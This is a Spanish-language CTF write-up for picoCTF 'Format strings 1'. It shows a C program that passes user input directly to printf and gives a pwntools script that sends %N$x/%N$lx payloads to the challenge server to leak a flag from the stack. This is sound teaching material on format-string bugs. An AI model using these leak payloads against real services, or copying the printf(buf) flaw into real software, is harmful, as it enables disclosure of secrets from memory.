Format strings 1


July 1, 20252 minutes

#include <stdio.h>


int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

Se leen 3 archivos

  • flag.txt
  • secret-menu-item-1.txt
  • secret-menu-item-2.txt

Y su contenido queda guardado en el stack.

Para debuggear hay que crearlos

echo "PICOCTF{TEST_FLAG}" > flag.txt
echo "A" > secret-menu-item-1.txt
echo "B" > secret-menu-item-2.txt

Más adelante en el programa se le pide un input al usuario y luego lo imprime con printf sin especificar el tipo, lo que lo hace vulnerable a format strings

  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);

Para lekear valores del stack con format strings vamos a hacer un script que vaya imprimiendo los valores

#!/usr/bin/env python3

from pwn import *
import time

HOST = "mimas.picoctf.net"
PORT = 53107

exe = ELF("./format-string-1_patched")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'warn'

gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)

    return r

def main():
    for i in range(0, 100):
        try:
            r = conn()
            payload = f"%{i}$x"
            r.sendlineafter('to you:', payload)
            output = r.recvline()
            output = r.recvline().split(b"Here's your order: ")[1]
            print(f"{i}: {unhex(output)}")
        except:
            pass

if __name__ == "__main__":
    main()

Con el script conseguimos llegar a ver lo siguiente

14: b'OCIP'
15: b'TSET'
16: b'\n}G'

Que sería:

  • 14: PICO
  • 15: TEST
  • 16: G}\n

Parece ser la flag, pero faltan partes…

  • 14: PICO | CTF{
  • 15: TEST | _FLA
  • 16: G}\n

Justo del 14 y 15 salen 4 caracteres y faltan 4 más, eso es porque estamos usando %14$x, x solo muestra 32 bits (4 caracteres), y este binario es de 64 bits así que hay que usar lx

14: b'{FTCOCIP'
15: b'ALF_TSET'
16: b'\x7f\xee\x00\n}G'

Ahora si

Por último solo queda ver los valores en las mismas posiciones pero en la instancia de picoCTF.

%14$lx,%15$lx,%16$lx,%17$lx,%18$lx....